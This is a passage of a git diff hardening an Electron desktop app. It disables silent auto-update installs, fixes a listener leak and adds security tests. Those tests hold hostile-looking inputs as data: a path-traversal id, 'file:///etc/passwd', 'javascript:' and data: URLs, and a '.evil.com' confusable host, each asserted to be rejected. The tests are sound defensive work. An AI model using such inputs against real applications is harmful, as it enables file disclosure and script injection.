+ target.restore(); + } + target.show(); + target.focus(); + } +}); + app.whenReady().then(async () => { + if (!app.hasSingleInstanceLock()) { + return; + } const paperclipHome = resolvePaperclipHome(); assertIsolatedRuntimePaths({ env: process.env, diff --git a/src/preload.ts b/src/preload.ts index e9aa8089..804d25fd 100644 --- a/src/preload.ts +++ b/src/preload.ts @@ -3,7 +3,11 @@ import { contextBridge, ipcRenderer } from "electron"; contextBridge.exposeInMainWorld("paperclip", { updater: { onStatus: (cb: (data: { status: string; version?: string; percent?: number }) => void) => { - ipcRenderer.on("update-status", (_e, data) => cb(data)); + const listener = (_e: unknown, data: { status: string; version?: string; percent?: number }) => + cb(data); + ipcRenderer.on("update-status", listener); + // Return an unsubscribe so repeated registration can't leak listeners. + return () => ipcRenderer.removeListener("update-status", listener); }, }, }); diff --git a/src/updater.ts b/src/updater.ts index 2c0ac083..2b66cdf5 100644 --- a/src/updater.ts +++ b/src/updater.ts @@ -30,7 +30,7 @@ const updaterLogger = { // GitHub 404 feed miss until a release feed actually exists. autoUpdater.logger = updaterLogger as typeof log; autoUpdater.autoDownload = false; -autoUpdater.autoInstallOnAppQuit = true; +autoUpdater.autoInstallOnAppQuit = false; let activeWindow: BrowserWindow | null = null; let updaterInitialized = false; @@ -68,10 +68,10 @@ export function initAutoUpdater(mainWindow: BrowserWindow): void { scheduledChecksStarted = true; - void checkForUpdatesSilently({ downloadIfAvailable: true }); + void checkForUpdatesSilently({ downloadIfAvailable: false }); setInterval( () => { - void checkForUpdatesSilently({ downloadIfAvailable: true }); + void checkForUpdatesSilently({ downloadIfAvailable: false }); }, 4 * 60 * 60 * 1000, ); @@ -318,7 +318,6 @@ async function promptToRestart(version: string): Promise { }); if (response === 0) { - downloadedVersion = null; autoUpdater.quitAndInstall(); } } finally { diff --git a/test/connection-profiles.test.mjs b/test/connection-profiles.test.mjs index 68e36823..5b1c8f9c 100644 --- a/test/connection-profiles.test.mjs +++ b/test/connection-profiles.test.mjs @@ -46,6 +46,80 @@ test("connection store persists remote profiles and startup preference", () => { assert.equal(reloaded.getStartupProfileId(), profile.id); }); +test("sanitizes tampered profile ids and de-duplicates on load (PD-011/PD-046)", () => { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-tampered-")); + const filePath = getConnectionsFilePath(tempDir); + fs.mkdirSync(path.dirname(filePath), { recursive: true }); + const dupId = "11111111-1111-1111-1111-111111111111"; + fs.writeFileSync( + filePath, + JSON.stringify({ + version: 1, + state: {}, + remoteProfiles: [ + { id: "../../../x", mode: "remote_existing", remoteUrl: "https://a.example.com" }, + { id: dupId, mode: "remote_existing", remoteUrl: "https://b.example.com" }, + { id: dupId, mode: "remote_existing", remoteUrl: "https://c.example.com" }, + ], + }), + "utf8", + ); + + const store = new ConnectionStore(filePath); + const profiles = store.getSnapshot().remoteProfiles; + const uuid = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i; + + // Tampered non-UUID id is regenerated; duplicate id collapses to one profile. + assert.equal(profiles.length, 2); + for (const profile of profiles) { + assert.match(profile.id, uuid); + } + assert.equal(new Set(profiles.map((p) => p.id)).size, profiles.length); +}); + +test("preserves an unreadable connections file instead of clobbering it (PD-042)", () => { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-corrupt-")); + const filePath = getConnectionsFilePath(tempDir); + fs.mkdirSync(path.dirname(filePath), { recursive: true }); + fs.writeFileSync(filePath, "{ this is not json", "utf8"); + + // Loading falls back to defaults but first backs up the corrupt file. + const store = new ConnectionStore(filePath); + store.setChooserMode("local_embedded"); // triggers a persist() + assert.equal(fs.existsSync(`${filePath}.bak`), true); +}); + +test("backs up newer-version connections files instead of downgrading them (PD-051)", () => { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-future-")); + const filePath = getConnectionsFilePath(tempDir); + fs.mkdirSync(path.dirname(filePath), { recursive: true }); + fs.writeFileSync( + filePath, + JSON.stringify({ + version: 2, + state: { alwaysShowChooser: false, autoConnectLastProfile: true }, + remoteProfiles: [ + { + id: "11111111-1111-1111-1111-111111111111", + mode: "remote_existing", + remoteUrl: "https://future.example.com", + futureOnlyField: "preserve-me", + }, + ], + }), + "utf8", + ); + + const store = new ConnectionStore(filePath); + store.setChooserMode("local_embedded"); // triggers a persist() + + assert.equal(fs.existsSync(`${filePath}.bak`), true); + const backup = JSON.parse(fs.readFileSync(`${filePath}.bak`, "utf8")); + assert.equal(backup.version, 2); + assert.equal(backup.remoteProfiles[0].futureOnlyField, "preserve-me"); + assert.deepEqual(store.getSnapshot().remoteProfiles, []); +}); + test("connection store keeps a synthetic local profile", () => { const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-local-")); const store = new ConnectionStore(getConnectionsFilePath(tempDir)); @@ -97,3 +171,40 @@ test("connection store requires explicit acknowledgement before saving an HTTP p const saved = reloaded.getProfile(profile.id); assert.equal(saved.allowInsecureHttp, true); }); + +test("connection store preserves HTTP consent invariant on remote health updates", () => { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-http-health-")); + const store = new ConnectionStore(getConnectionsFilePath(tempDir)); + + const secureProfile = store.saveRemoteProfile({ + name: "Secure", + remoteUrl: "https://paperclip.example.com", + }); + const insecureResult = { + ok: true, + normalizedUrl: "http://paperclip.example.com/", + origin: "http://paperclip.example.com", + insecureTransport: true, + paperclipDetected: true, + deploymentMode: "authenticated", + deploymentExposure: "public", + authReady: true, + bootstrapStatus: null, + bootstrapInviteActive: null, + sessionState: "signed_out", + version: "2026.609.0", + }; + + assert.throws( + () => store.recordRemoteHealth(secureProfile.id, insecureResult), + /allow an insecure connection/i, + ); + + const insecureProfile = store.saveRemoteProfile({ + name: "Insecure", + remoteUrl: "http://paperclip.example.com", + allowInsecureHttp: true, + }); + store.recordRemoteHealth(insecureProfile.id, insecureResult); + assert.equal(store.getProfile(insecureProfile.id).allowInsecureHttp, true); +}); diff --git a/test/connection-validate.test.mjs b/test/connection-validate.test.mjs index e0941755..de5aa6d0 100644 --- a/test/connection-validate.test.mjs +++ b/test/connection-validate.test.mjs @@ -54,3 +54,15 @@ test("isPrivateHostname recognises tailnet and RFC1918 hosts", () => { assert.equal(isPrivateHostname("[fd00::1]"), true); assert.equal(isPrivateHostname("paperclip.example.com"), false); }); + +test("isPrivateHostname does not misclassify public hosts starting with fc/fd (PD-043)", () => { + assert.equal(isPrivateHostname("fcbarcelona.com"), false); + assert.equal(isPrivateHostname("fd-host.example.com"), false); +}); + +test("isPrivateHostname covers 0.0.0.0, link-local, and IPv4-mapped IPv6 (PD-044)", () => { + assert.equal(isPrivateHostname("0.0.0.0"), true); + assert.equal(isPrivateHostname("[fe80::1]"), true); + assert.equal(isPrivateHostname("[::ffff:192.168.1.50]"), true); + assert.equal(isPrivateHostname("[::ffff:8.8.8.8]"), false); +}); diff --git a/test/window-policy.test.mjs b/test/window-policy.test.mjs index b4aec8e1..848750e7 100644 --- a/test/window-policy.test.mjs +++ b/test/window-policy.test.mjs @@ -22,6 +22,23 @@ test("window policy opens external http links outside the allowed origin", () => assert.equal(shouldOpenExternally("mailto:test@example.com", allowedOrigin), false); }); +test("window policy rejects dangerous and confusable navigation schemes (PD-039)", () => { + const allowedOrigin = "https://paperclip-host.tailnet.ts.net"; + assert.equal(isNavigationAllowed("file:///etc/passwd", allowedOrigin), false); + assert.equal(isNavigationAllowed("javascript:alert(1)", allowedOrigin), false); + assert.equal(isNavigationAllowed("data:text/html,", allowedOrigin), false); + assert.equal(isNavigationAllowed("about:blank", allowedOrigin), false); + // Origin-confusable host must not be treated as same-origin. + assert.equal( + isNavigationAllowed("https://paperclip-host.tailnet.ts.net.evil.com/", allowedOrigin), + false, + ); + // Scheme is part of the origin: http must not match an https allowed origin. + assert.equal(isNavigationAllowed("http://paperclip-host.tailnet.ts.net/", allowedOrigin), false); + // Uppercase scheme normalizes; still same origin. + assert.equal(isNavigationAllowed("HTTPS://paperclip-host.tailnet.ts.net/x", allowedOrigin), true); +}); + test("remote partitions are isolated per profile", () => { assert.equal(remotePartitionForProfile("abc123"), "persist:paperclip-remote-abc123"); }); diff --git a/tsconfig.json b/tsconfig.json index 4a65966e..604a8820 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -5,6 +5,8 @@ "moduleResolution": "node", "esModuleInterop": true, "strict": true, + "noImplicitOverride": true, + "noFallthroughCasesInSwitch": true, "skipLibCheck": true, "declaration": false, "sourceMap": true,